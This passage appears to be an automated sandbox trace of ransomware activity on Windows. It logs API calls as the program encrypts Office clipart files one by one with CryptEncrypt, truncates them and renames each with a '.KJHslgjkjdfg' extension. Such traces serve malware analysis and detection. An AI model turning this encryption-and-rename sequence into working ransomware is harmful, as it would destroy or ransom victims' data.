hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa0b0, dwBufLen=0xa0b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa0b0) returned 1 [0204.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.171] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa0b0, lpOverlapped=0x0) returned 1 [0204.171] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.172] SetEndOfFile (hFile=0x130) returned 1 [0204.174] GetProcessHeap () returned 0x2ef0000 [0204.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.175] GetProcessHeap () returned 0x2ef0000 [0204.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.kjhslgjkjdfg")) returned 1 [0204.176] CloseHandle (hObject=0x130) returned 1 [0204.176] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0204.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.177] GetProcessHeap () returned 0x2ef0000 [0204.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.178] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.180] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.180] GetProcessHeap () returned 0x2ef0000 [0204.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.181] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.182] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.182] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f08, lpOverlapped=0x0) returned 1 [0204.183] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f10, dwBufLen=0x4f10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f10) returned 1 [0204.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.183] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f10, lpOverlapped=0x0) returned 1 [0204.183] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.184] SetEndOfFile (hFile=0x130) returned 1 [0204.186] GetProcessHeap () returned 0x2ef0000 [0204.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.187] GetProcessHeap () returned 0x2ef0000 [0204.187] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.kjhslgjkjdfg")) returned 1 [0204.188] CloseHandle (hObject=0x130) returned 1 [0204.188] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0204.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.190] GetProcessHeap () returned 0x2ef0000 [0204.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.190] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.193] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.193] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.193] GetProcessHeap () returned 0x2ef0000 [0204.193] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.193] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.193] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.194] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.194] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.194] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.194] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5398, lpOverlapped=0x0) returned 1 [0204.195] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x53a0, dwBufLen=0x53a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x53a0) returned 1 [0204.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.195] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x53a0, lpOverlapped=0x0) returned 1 [0204.196] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.196] SetEndOfFile (hFile=0x130) returned 1 [0204.197] GetProcessHeap () returned 0x2ef0000 [0204.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.197] GetProcessHeap () returned 0x2ef0000 [0204.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.kjhslgjkjdfg")) returned 1 [0204.199] CloseHandle (hObject=0x130) returned 1 [0204.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0204.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.200] GetProcessHeap () returned 0x2ef0000 [0204.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.200] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.203] GetProcessHeap () returned 0x2ef0000 [0204.203] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.203] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.203] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x366e, lpOverlapped=0x0) returned 1 [0204.205] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3670, dwBufLen=0x3670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3670) returned 1 [0204.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.205] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3670, lpOverlapped=0x0) returned 1 [0204.205] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.205] SetEndOfFile (hFile=0x130) returned 1 [0204.208] GetProcessHeap () returned 0x2ef0000 [0204.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.208] GetProcessHeap () returned 0x2ef0000 [0204.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.kjhslgjkjdfg")) returned 1 [0204.209] CloseHandle (hObject=0x130) returned 1 [0204.210] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0204.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.210] GetProcessHeap () returned 0x2ef0000 [0204.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.211] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.213] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.213] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.213] GetProcessHeap () returned 0x2ef0000 [0204.213] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.213] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.213] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.213] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x273e, lpOverlapped=0x0) returned 1 [0204.214] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2740, dwBufLen=0x2740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2740) returned 1 [0204.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.215] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2740, lpOverlapped=0x0) returned 1 [0204.215] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.215] SetEndOfFile (hFile=0x130) returned 1 [0204.218] GetProcessHeap () returned 0x2ef0000 [0204.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.218] 